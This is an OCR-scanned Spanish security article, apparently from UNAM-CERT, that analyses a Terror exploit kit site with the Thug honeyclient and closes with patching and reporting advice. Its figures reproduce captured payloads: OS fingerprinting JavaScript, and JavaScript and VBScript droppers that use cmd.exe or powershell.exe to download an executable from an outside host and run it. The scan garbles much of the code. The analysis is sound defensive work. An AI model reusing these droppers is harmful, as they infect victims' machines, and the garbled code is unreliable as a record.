El ultimo sitio que se analizara con Thug
utiliza el paquete de exploits Terror, vy
se utiliza la personalidad de un siste-
ma operativo Linux con Chrome version
54.0.2840.100 (figura 26). Durante el ana-
lisis el paquete de exploits utiliza un applet.

thug@honeyclient: ~ x

Archivo Editar Ver Buscar Terminal Ayuda
thug@honeyclient:~§ thug -u linuxchromeS4 -n poc3 -v -F -Z http://dominioMalicioso3.com
[2017-09-26 20:57:08] [MongoDB] Analysis ID: 59cb@574e80ease7cB8T74F5

[2017-09-26 20:57:08] [window open redirection] about:blank -> http://dominioMalicioso3.com
[2017-09-26 20:57:08] [HTTP] URL: http://dominioMalicioso3.com (Status: 200, Referer: None)
[2017-09-26 20:57:08] [HTTP] URL: http://dominiomalicioso3.com/ (Content-type: text/html, MDS:
25499a797308478285b1a3e237d776ad)

[2017-09-26 20:57:08] <applet ,height="200" code="exploits/m3.class" id="HelloApplet" width="20
6"></applet>

Figura 16. Analisis del fercer sifio

Terror EK utiliza iframe para insertar un do-
cumento o mostrar contenidos externos al
sitio web, en la figura se puede observar
que hace redireccion a la pagina http://do-
miniomalicioso3.com/exploits/adobe.
html.

[2017-09-26 20:57:08] <iframe src="exploits/adobel.html" style="width:0;height:8;border:0; bord
er:none; "></iframe>

[2017-09-26 26:57:08] [Navigator URL Translation] exploits/adobel.html --> http://dominioMalici
0503 .com/exploits/adobel .htm

[2017-09-26 20:57:08] [iframe redirection] http://dominiomalicioso3.com/ -> http://dominioMalic
10s03.com/exploits/adobel .html

[2017-09-26 26:57:08] [HTTP] URL: http://dominioMalicioso3.con/exploits/adobel.html (Status: 20
6, Referer: http://dominioMalicioso3.com)

[2017-09-26 26:57:08] [HTTP] URL: http://dominiomalicioso3.com/exploits/adobel.html (Content -ty
pe: text/html, MD5: 05711df222f3blec1505dc7f7d949bfe)

[2017-09-26 26:57:08] [Navigator URL Translation] exploits/adobel.html --> http://dominioMalici
0s03.com/exploits/adobel .html

Figura 17. Redireccion a fraves de iframe

Esta pagina contiene codigo JavaScript
que sirve para obtener informacion de las
potenciales victimas. La informacion que
obtiene es la plataforma (win, linux y unix)
y sistema operativo (Windows 2000, XP,
Vista, 7, 8, 8.1, Mac/iOS, UNIX, Linux).

[2017-09-26 20:57:68] <script type="text/javascript"s
function get_platform(os_name) {
var os_str = os_name;
var chk_win str.substr(8, 3);
") platform = “win';

if (chk_win
if (chk_win
return platform
I

") platform = "Linux";
11") platform = "unix";

function get_os() {
var OSName = "Unknown";
if (window.navigator.userAgent.indexOf("Windows NT 16.6") != -1) OSName = “Windows 8.1"

if (window.navigator.userAgent.indexOf("Windows NT 6.3") != -1) OSName = "Windows 8.1";
if (window.navigator.userAgent.indexOf("Windows NT 6.2") != -1) 0SName = "Windows 8";

if (window.navigator.userAgent.indexOf("Windows NT 6.1") != -1) "Windows 7";

1if (window.navigator.userAgent.indexOf ("Windows NT 6.0" =-1) indows Vista";
if (window.navigator.userAgent.indexOf("Windows NT 5.1") != -1) Windows XP";
if (window.navigator.userAgent.indexOf("Windows NT 5.0") != -1) 0SName = "Windows 2000";
if (window.navigator.userAgent.indexOf("Mac") != -1) OSName = "Mac/i0S";

if (window.navigator.userAgent.indexOf("X11") != -1) OSName = "UNIX";

if (window.navigator.userAgent.indexOf("Linux") != -1) OSName = "Linux";

return 0SName

i

Figura 18. Identificacion de plataforma y sistema
operafivo
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https://www.virustotal.com/#/url/3eb31b82aa0bb00ca23076d149fe857e9b052f44e02dba1946bd33ff4b644eac/detection
https://www.virustotal.com/#/url/3eb31b82aa0bb00ca23076d149fe857e9b052f44e02dba1946bd33ff4b644eac/detection
https://www.virustotal.com/#/url/3eb31b82aa0bb00ca23076d149fe857e9b052f44e02dba1946bd33ff4b644eac/detection
https://www.virustotal.com/#/url/5aac8e649008059d6888eb570346485b526fe9b8a0dd02d977963c4c5a8e9011/detection
https://www.virustotal.com/#/url/5aac8e649008059d6888eb570346485b526fe9b8a0dd02d977963c4c5a8e9011/detection
https://www.virustotal.com/#/url/5aac8e649008059d6888eb570346485b526fe9b8a0dd02d977963c4c5a8e9011/detection
https://www.virustotal.com/#/url/7e2d040bcf5450b78be74456148721af868d38e50b5f69961af593689426d379/detection
https://www.virustotal.com/#/url/7e2d040bcf5450b78be74456148721af868d38e50b5f69961af593689426d379/detection
https://www.virustotal.com/#/url/7e2d040bcf5450b78be74456148721af868d38e50b5f69961af593689426d379/detection
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2551
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2551

Posteriormente se identifica una linea que
valida el navegador web, esta verificacion
sirve para ejecutar el codigo y mostrar un
archivo shockwave o flash si no es Internet
Explorer (if HHE).

S L R B T
MM Tyt

Swi_obj = swi_ob] + eval(
! ‘.r‘eplace(/A/,Str‘lng))(whlle

e=function(c {r‘etur‘n C.toString(36) };1f(
cl||c.toString(a) pk=[ function(e) {return
diel}] 'e*fumctlon 0 {return’ \\w+ replace(new RegExp('\\b'+e(c)+'\
\b','g )}ireturn p}( ="1">\"; ", 14,14, 'shockwave | | flas
h\x\apphcatmn\ob] ect \type\data\sad] 112396 |width|helqht | aLways | 311owSc FiptAccess st -spLit ("
11.8,{1)

Figura 19. Validacion de navegador

Nuevamente el EK utiliza una redireccion
para cargary ejecutar codigo JavaScript en
el equipo (exploit) enfocado al navegador
web Firefox.

EnY2N YyEhISHewK/ aaHROcDovL 2h@dHAGL yBxODUUODEUMTY3L j cwl 3EUZXH1 AAAAAARARAA=GaMp ; pL=Linux&amp ; 0s=
Linux"/>
[2017-09-26 20:57:16] <script src="exploits/firefoxl.js"></script>
[2017-69-26 20:57:16] [Navigator URL Translation] exploits/firefoxl.js --» http://dominioMalici
0s03.com/exploits/Firefoxl.js
[2017-69-26 20:57:16] [script src redirection] http://dominiomalicioso3.com/exploits/adobe?.htm
1 -> http://dominioMalicioso3.com/exploits/firefoxl.js
[2017-69-26 20:57:16] [HTTP] URL: http://dominioMalicioso3.com/exploits/firefoxl.js (Status: 20
©, Referer: http://dominioMalicioso3.com)
[2017-09-26 20:57:1@] [HTTP] URL: http://dominiomalicioso3.com/exploits/ firefoxl.js (Content-ty
pe: application/javascript, MD5: 0d8G6c46183e46b6bc250e9b39817de03)
72017766-26 20157 10)

var opts = {"tNmXzjVgZ":"\n (function() {\n window = this;\n \n va
r readFile = function(path) {\n try {\n var file = Components.classes[\"@nozill
a.org/file/local;1\"1\n .createlnstance Components..interfaces.nsILocalFile) ;\

Figura ZO Redireccion a JavaScript malicioso

Enlaprimeralinea se puede apreciar que se
hace una validacion para ejecutar el codigo
en Windows. El codigo malicioso cargains-
trucciones para realizar una consulta a
http://kitempowernetwork.com/test/q.php
y ejecutarlas en el equipo victima utilizando
wscript.exe o cmd.exe.

sh.initWithPath(\"C: \\\\Wlndows\\\\syStemii?\\\\wscr‘lpt exe\");\n
var args = [jscriptFile.path, b64]; process. run(tr
jscriptFile. remove(true);\n

if (windows) {\n
process.init(sh);\n

ue, args, args.length);\n setTimeout ( function() {c

b(false, cmd+\"\\n\"+readFile(stdout.path));});\n } else {\n sh.initWithPath(\"
/bin/sh\") ;\n process.init(sh);\n var args = [\"-c\", shelll;\n proc
ess.run(true, args, args.length);\n setTimeout (function(){ch(false, readFile(stdout.pa
th));}) \n n FAnAmn var ua = Components.classes[\"@nozilla.org/netwo
rk/protocol ;1 ?name=http\"]\n .getService(Components. interfaces .nsIHttpProtocolHandler) .u
serAgent;\n var windows = (ua.index0f (\"Windows\")>-1);\n\n var cmd = ({\"emd\":\

"cmd.exe /c \\\"@echo Set objXMLHTTP=CreateObject (\\\"MSXML2 . XMLHTTP\\\")>%tmp%\\\\exp . vbs&@ech
© 0bj XMLHTTP.open \\\"GET\\\",\\\"http ://kitempowernetwork .com/test/q.php\\\", false>>%tmp%\\\\e
xp.vbs&@echo objXMLHTTP.send()>>%tmp%\\\\exp .vbs@echo If objXMLHTTP.Status=200 Then>>%tmp%\\\\
exp.vbs&@echo Set objADOStream=CreateObject (\11" WAL W\ \\adodb . st
eam\\\") >>%5tmp%s\\\\exp . vbst@echo objADOSE ream .Open>>%5tmp\\\\exp . vbs&@echo objADOSt ream. Type=L

>>%tmp%\\\\exp.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>%tmp%s\\\\exp .vbs&@echo obj
ADOStream.Position=1 >>%tmp%\\\\exp.vbs&@echo objADOStream.SaveToFile \\\"stmp%\\\\svchost2.exe
\\\",2 >>%tmp%\\\\exp . vbs&@echo objADOSt ream .Close>>%tmp%\\\\exp..vbs&@echo Set objADOStream=not
hing>>%tmp%\\\\exp .vbsG@echo End if>>%tmp%\\\\exp.vbst@echo Set objXMLHTTP=nothing>>%tmp%\\\\ex
p.vbs&@echo Set objShell=CreateObject (\\\"WScript.Shell\\\")>>%tmp%\\\\exp.vbs&@echo objShell.E
xec (\\\ "5tmp%\\\\svchost2.exe\\\") >>%tmp%\\\\exp .vbsGcsc ript .exe \stmpB\\\\exp.vbs\\\"\"}) .cnd;

\n if (true 66 windows) {\n runCmd( cnd) ; \n } else {\n var proce
ss = Components.classes[\"@nozilla.org/process/util;1\"]\n .createInst
ance (Components.interfaces.nsIProcess) ;\n var sh = Components.classes[\"@nozilla.org/f
ile/local;1\"1\n .createlnstance(Components. interfaces.nsILocalFile) ;\n

var args;\n if (windows) {\n sh.initWithPath(\"C:\\\\Windows\\\\System
32\\\\cmd.exe\") ;\n args = [\"/c\", cnd];\n } else {\n sh.initWi
thPath(\"/bin/sh\") ;\n args = [\"-c\", cnd];\n n process. init(sh
)i\n process.run(true, args, args.length);\n n 105Nt}

Figura 21. Codigo malicioso usando JavaScript

El EK utiliza otros iframe y redirecciones
para ejecutar codigo malicioso en Inter-
net Explorer. Se puede observar que Thug
identifica un programa vbscript (Visual
Basic Script) que utiliza powershell.exe
para realizar la consulta a la pagina de la
figura anterior, esto muestra una forma di-
ferente de ejecutar codigo malicioso.

[2017-09-26 20:57:11] <iframe src="exploits/ie3.html" style="width:0;height:0;border:0; border:
none ; "></1frame>

[2017-09-26 20:57:11] [Navigator URL Translation] exploits/ie3.html --> http://dominioMalicioso
3.com/exploits/ie3.html

[2017-09-26 20:57:11] [iframe redirection] http://dominiomalicioso3.com/exploits/ie2.html -> ht
tp://dominioMalicioso3.com/exploits/ie3.htnl

[2017-09-26 20:57:11] [HTTP] URL: http://dominioMalicioso3.com/exploits/ie3.html (Status: 200,
Referer: http://dominioMalicioso3.com)

[2017-09-26 20:57:11] [HTTP] URL: http://dominiomalicioso3.com/exploits/ie3.html (Content-type:
text/html, MDS: b3edbbb01a88088F15038ad6980e193)

[2017-09-26 20:57:11] [Navigator URL Translation] exploits/ie3.html --> http://dominioMalicioso
3.com/exploits/ie3.html

[2017-09-26 20:57:11] <meta content="IE=EmulatelE8" http-equiv="X-UA-Compatible"/>

[2017-09-26 20:57:11] <script type="text/vbscript'>

function runmumaa() //////1//1/1171111111/1111111/1111711111111111111111111711111

On Error Resume Next///////1F 1111111111 1111100001E00000001000107117

111111111111711111111111

set shell=createobject("Shell Application”)

shell.ShellExecute "powershell.exe", "cmd.exe /c '@echo Set ob]XMLHTTP ~Createlbject (""" " "\MSKH
L2 XMLHTTP"" ") >S5t eompe\e: _vbsS@echo objXMLHTTP.open * http://kitemp
owernetwork .com/test/q.php False>>%tempi\explorer. vbs&@echo obJXMLHTTP send () >>%temps\exp
Torer.vbs§@echo If objXMLH tus=200 Then>>%stemp%\explorer.vbst@echo Set objADOStream=Creat
2Object ("""*""\ADODB..5t ream ) >>%temps\explorer.vbs&@echo obj ADOSt ream.Open>>%temp\explore
r.vbsé@echo objADOStream.Type=1 >>%temp%\explorer.vbst@echo objADOStream.Write objXMLHTTP.Respo
n emp¥\explorer. vb: ho objADOStream.Position=6 >>%temps\explorer.vbst@echo objADOSt
ream.SaveToFile """"""stemps\\explorer3.exe" """"">>%temp\explore r.vbs&echo objADOStream.Close
>>%temp\explorer. vbst@echo Set objADOStream=Nothing>>stemp%\explorer.vbsteecho End if>>%temps\
explorer.vbs&@echo Set objXHLHTTP=Nothing>>stenp%hexplorer .vbst@echo Set objShell=CreateObject(
Script .Shell"""" " ") >>%tenp\explorer. vbs&echo ob]She‘Ll Exec(" “%temp%\explorer:i exe"
') >>S%temp\explorer.vbsGcscript .exe stemp\explorer.vbs' ", "*, "open"

lend function////////11111111411117111111111111111¢11

</script>

Figura 22. Codigo malicioso usando Visual Basic Script

La figura 23 muestra la estructura de archi-
vos creada por Thug durante el analisis, en
ella se encuentran los archivos obtenidos
del sitio malicioso y bitacoras.

thug@honeyclient: ~ x

Archivo Editar Ver Buscar Terminal Ayud
‘thug@honeyclient:~$ tree poc3
poc
analysis
t: graph.svg
json
L analysis.json
application
— javascript
d86c 46183e46b6bc250e9539817de03
196¢4109b17635F fe7018cb0468a6e7b
{— vnd.ms-cab-compressed
L 2c2eae5922dc0agd4echBB64d58d2ec e5
L x-shockwave-flash
671c878480 F32935¢0e1b57b82170780
461c979312fac2502247d01bb27135b
ext
— ntmt
65711d7222 f3blec1505dc77d949b fe
67682902732 35bb12459a5debBdbe 60
25499a97308478285b1a3e23fd776ad
312200317ed19280cd26292¢142e F2
4bf4230b6e7d396Fde0289a6C60 721
4d4288e763bT148b6ebb103a409cd60
801a4746cb2baff F3e901156370e FF4F
9eB2adefal 3ecBebebeebfeddd7492e6
ad715edc6e5f1539436bael 15882a19
b3edbbb901 a8868815038ad6980e193
b7bSec3f2c aeBbdd9Ff9328bc a6b0805
€956542c6727 F68bdb438870a4860b 10
4061 1ae60ced5 F8c8db25ca6364aa5d
9c941232b457e30179a90784276213
; charset=iso-8859-1
06974664c6d4c 22629020850 f9F439F
1b0278aa03682ac 18e fhB85a336694d73
70f4eeleB2c71419e319b91a44chaash
b927c8912955¢ 6b79dddb581307109
ddad7 f755f f2c f8caadsba56268cdB80a
29444 a09bdfac30509425¢ F3£762d2F
fd861adbl fdf138849791750a7252d 8

E
5

9 directories, 28 files
thug@honeyclient : ~§

Figura 23. Esfructura de archivos del analisis

Se ha identificado que los exploits utiliza-
dos en el sitio http://dominiomalicioso3.
com/ forman parte del EK Terror y explo-
tan diferentes vulnerabilidades; en la tabla
1 se especifican los CVE y muestra el re-
porte de VirusTotal de algunos de los ar-
chivos que obtuvo Thug durante el analisis
del sitio.

Tipo de

archivo

0d86c46183e-
46b6bc250e9b- -
39817de03

196¢4109b-
17635ffe7018¢c-
b0468a6e7b

JavaScript

JavaScript 2014-1510
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https://www.virustotal.com/#/file/aa58c3142c46c3fc9f5f63e32c261a6e2e09123f15d97e694fcc65cbc2fa93cb/detection
https://www.virustotal.com/#/file/e6b13412d2c5a8c88943d54d3e489daa4fefadba6419ef6c28c616f558e1285d/detection
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1510

Tipo de VD5 CVE
archivo
31f2€003f7e-
HTML d19280cd2629f- | 2016-0189
2c142ef2
4d42818e-
HTML 763bf148b6eb- | 2012-3993
b103a409cd60
ad715edc6e5f-
HTML 1539436bae- 2014-6332
1158812a19
b3e4bbb901a-
HTML 88088f15038a- | 2014-6332

d6980e193

Tabla 1. Archivos analizados y CVE identificados en el
reporte de VirusTofal (de Sergio Anduin Tovar Balderas)

Enestaimagen generada por Thug se pue-
den apreciar de forma grafica el compor-
tamiento cuando la victima visita el sitio y
todas las acciones que emplea el EK para
identificar el sistema operativo, navega-
dory complementos.

Figura 24. Imagen de analisis del tercer sitio

Sideseas ver el video del articulo ingresa al
canal SeguridadTV de UNAM-CERT o entra
directamente aqui.

Conclusiones

Thug ayuda a los analistas de malware a
examinar detfalladamente un sitio sospe-
choso pretendiendo ser un navegador real
ya que realiza un analisis estatico y dina-
mico en conjunto de los modulos de vulne-
rabilidades. Ademas, es capaz de detectar
shellcode e identificar URL, recolectar ar-
chivos del sitio como scripts, ejecutables,
PDF, applets, archivos flash (swf), exploits
o payloads que uftiliza el sitio, asi como ge-
nerar una imagen con el flujo de compor-

tamiento e inferaccion. Este honeyclient
ayuda a los investigadores de seguridad
a obtener evidencia para reportar y dar de
baja los sitios maliciosos. También es po-
sible realizar un analisis de malware ya que
se cuenta con los archivos del sitio, esto
permitira determinar a detalle las vulnera-
bilidades que explota, obtener indicadores
de compromiso, firmas para la deteccion y
prevencion en sistemas antivirus, sistemas

de deteccion (IDS) y prevencion intrusos
(IPS), antispam y ofras soluciones.

Es muy importante como usuarios mante-
ner actualizados los sistemas operativos,
antivirus y aplicaciones de nuestros dis-
positivos (computadora, celulary tableta),
asi como aplicar los parches de seguridad
criticos. No dar clic en vinculos, no abrir
mensajes ni adjuntos de correos electroni-
cos 0 mensajes instantaneos sospechosos
(asegurarse de que la persona que nos en-
via lainformacion es un conocido). Los na-
vegadores cuentan con tecnologias para
detectar y evitar phishing, programas o
sitios maliciosos, pero hay que estar aten-
tos en las advertencias de seguridad que
muestra el navegador, asi como realizar
configuraciones de seguridad y estable-
cer preferencias de privacidad para limpiar
nuestros datos de navegacion como coo-
kies y datos de formularios.

En nuestra organizacion es importante rea-
lizar campanas de concientizacion para que
los usuarios conozcan los metodos y tecni-
cas que utilizan los ciberdelincuentes para
evifar que sean victimas de algun ataque.

También se recomienda:

« Utilizar soluciones de administracion
de parches de seguridad y actualiza-
ciones (por ejemplo, WSUS)

« Crear una politica para descargar e
instalar las actualizaciones del siste-
ma operativo

« Prohibir la instalacion de programas
no autorizados en la organizacion

« Utilizar soluciones endpoint, NAC, fi-
rewall e IPS

« Programar la descarga de base de fir-
mas y escaneo de los equipos clientfe
desde consolas antivirus
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https://www.virustotal.com/#/file/71de8d210a3fa1af1a99e86891a87c1dafa1ad5900b957306e957246e314b6a3/detection
https://www.virustotal.com/#/file/eca5dee35367c4d70e39548b4c21ac3df159c4000d3940974d5ae0af4ae94c30/detection
https://www.virustotal.com/#/file/6e6ef1f82afdf68e56cec475a9c050dcde575b74826dfcabff0896e7d8f45b13/detection
https://www.virustotal.com/#/file/3ce381915fb3b3188fd23ca9610407bcafe81c677813e64ca7baff324c74c79e/detection
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0189
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3993
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6332
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6332
https://www.youtube.com/user/SeguridadTV
https://www.youtube.com/watch?v=9uDyvT0-Ga8
https://docs.microsoft.com/en-us/windows-server/administration/windows-server-update-services/deploy/deploy-windows-server-update-services
https://revista.seguridad.unam.mx/sites/default/files/figura24-original.png

Es muy importante siempre estar atento a
las vulnerabilidades de los servicios y sis-
temas para aplicar las actualizaciones, par-
ches de seguridad o aplicar un mecanismo
de proteccion para mitigar el impacto.

Para conocer otras herramientas visi-
ta nuestra pagina del Proyecto Honeynet
UNAM.

Si identificaste algun sitio sospechoso,
malware o phishing puedes reportarlo a
UNAM-CERT aqui. Através de Google tam-
bieén es posible denunciar paginas de phi-
shing: (https://safebrowsing.google.com/
safebrowsing/report_phish/); o sitios mali-
ciosos (https://safebrowsing.google.com/
safebrowsing/report_badware/).

Conoce OUCH!, el boletin de seguridad
preventiva del Instituto SANS, consejos
del UNAM-CERT, mantente al dia en nofi-
cias de seguridad e inscribetfe al boletin de
noticias. Conoce nuestro portfal y revisa la
seccion de divulgacion.
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